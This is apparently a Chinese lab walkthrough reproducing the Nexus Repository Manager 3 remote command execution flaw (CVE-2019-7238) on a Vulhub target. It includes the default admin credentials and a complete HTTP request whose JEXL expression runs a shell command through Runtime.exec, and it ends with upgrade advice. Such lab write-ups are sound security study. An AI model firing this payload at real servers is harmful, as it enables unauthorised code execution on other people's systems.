Nexus远程命令执行漏洞复现(CVE-2019-7238)

Nexus Repository Manager 3 远程命令执行漏洞 CVE-2019-7238 漏洞复现

1.实验目的

1、能成功搭建漏洞测试与测试工具所需的运行环境
2、能成功利用漏洞原理测试复现漏洞

2.覆盖知识点

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。 其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。
影响版本
3.14.0及之前版本
漏洞原理
存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。

3.实验环境与操作

实验环境
1、VMware Workstation 16
2、Ubuntu 20.4(靶场安装环境)
IP:192.168.32.135
3、kali Linux (攻击机)
IP:192.168.32.128
4、Vulhub靶场
5、Burp Suite
漏洞复现
启动Ubuntu的vulhub对应镜像
进入CVE-2019-7238环境地址

cd vulhub/nexus/CVE-2019-7238

拉取并启动环境

docker-compose up -d

查看环境运行状态

docker-compose ps
在这里插入图片描述

启动环境后,访问对应的web网页。

http://192.168.32.135:8081

使用账号密码登录后台,然后在maven-release下上传一个jar包。
账号密码为admin;admin123.

在这里插入图片描述进入upload中随意上传.jar包并开启代理打开burpsuite工具进行抓取,抓取到响应数据包后将它发送至repeater模块中进行伪造数据包工作
在这里插入图片描述
使用Nexus Repository Manager 3 远程命令执行漏洞链接提供的指令,将请求的数据包进行替换并发送

POST /service/extdirect HTTP/1.1
Host: localhost #本处写自己的靶机地址以及对应的8081端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close
{“action”:“coreui_Component”,“method”:“previewAssets”,“data”:[{“page”:1,“start”:0,“limit”:50,“sort”:[{“property”:“name”,“direction”:“ASC”}],“filter”:
[{“property”:“repositoryName”,“value”:“*”},{“property”:“expression”,“value”:“233.class.forName(‘java.lang.Runtime’).getRuntime().exec(‘touch /tmp/success’)”},{“property”:“type”,“value”:“jexl”}]}],“type”:“rpc”,“tid”:8}

在这里插入图片描述
我们打开Ubuntu靶机下对应的目录进行查看
查看指令为

docker exec -it CVE-2019-7238对应的ID bin/bash
cd tmp
ls -al
在这里插入图片描述
可以看到我们就已经将漏洞复现成功了。

思考总结
该漏洞是由于代码中基于OrientDB自定义函数的任意JEXL表达式执行功能,所以我们可以通过构造一个.jar包将请求拦截到burpsuite中并构造payload来实现一个代码注入,当然我们可攻击的方面不止于此还可以将靶机反弹shell等恶意的攻击行为。
修复手段
将Nexus Repository Manager OSS/Pro升级到3.15.0及之后的版本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值